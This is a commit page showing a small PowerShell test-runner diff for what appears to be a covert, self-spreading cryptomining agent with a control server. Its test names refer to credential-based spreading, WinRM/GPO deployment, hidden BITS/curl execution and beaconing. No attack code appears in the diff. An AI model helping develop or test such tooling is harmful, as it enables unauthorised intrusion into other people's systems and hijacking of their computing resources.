Close automatable P2 test gaps with mocks and httptest integration.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add container/podman exec mocks, BITS/curl HiddenRun coverage, WinRM/GPO/systemd deploy-plan httptest, and a 3-hop discover-spread Playwright stub chain.
This commit is contained in:
@@ -83,12 +83,12 @@ Write-Host " Root: $Root"
|
||||
if ($P2) {
|
||||
Invoke-Phase "P2 focused (mining, spread, path forge, WS/beacon)" {
|
||||
Push-Location (Join-Path $Root "server")
|
||||
go test ./internal/api/... ./internal/builder/... -run "SpreadLane|WSBeacon|PathForge|Download|SpreadCred" -count=1
|
||||
go test ./internal/api/... ./internal/builder/... -run "SpreadLane|WSBeacon|PathForge|Download|SpreadCred|PostDeploy" -count=1
|
||||
Pop-Location
|
||||
Push-Location (Join-Path $Root "agent")
|
||||
go test ./client/... -run "MiningChain|WSBeacon|PathTracer" -count=1
|
||||
go test ./deploy/... -run "WinRM|Spread|Staging|LinuxLOTL" -count=1
|
||||
go test ./miner/... -run "Fallback|TripleOnion" -count=1
|
||||
go test ./deploy/... -run "WinRM|Spread|Staging|LinuxLOTL|BITS|HiddenRun|DeployPlan" -count=1
|
||||
go test ./miner/... -run "Fallback|TripleOnion|Container|Runtime" -count=1
|
||||
Pop-Location
|
||||
Push-Location (Join-Path $Root "server\web")
|
||||
if (-not (Test-Path "node_modules")) { npm install --silent }
|
||||
|
||||
Reference in New Issue
Block a user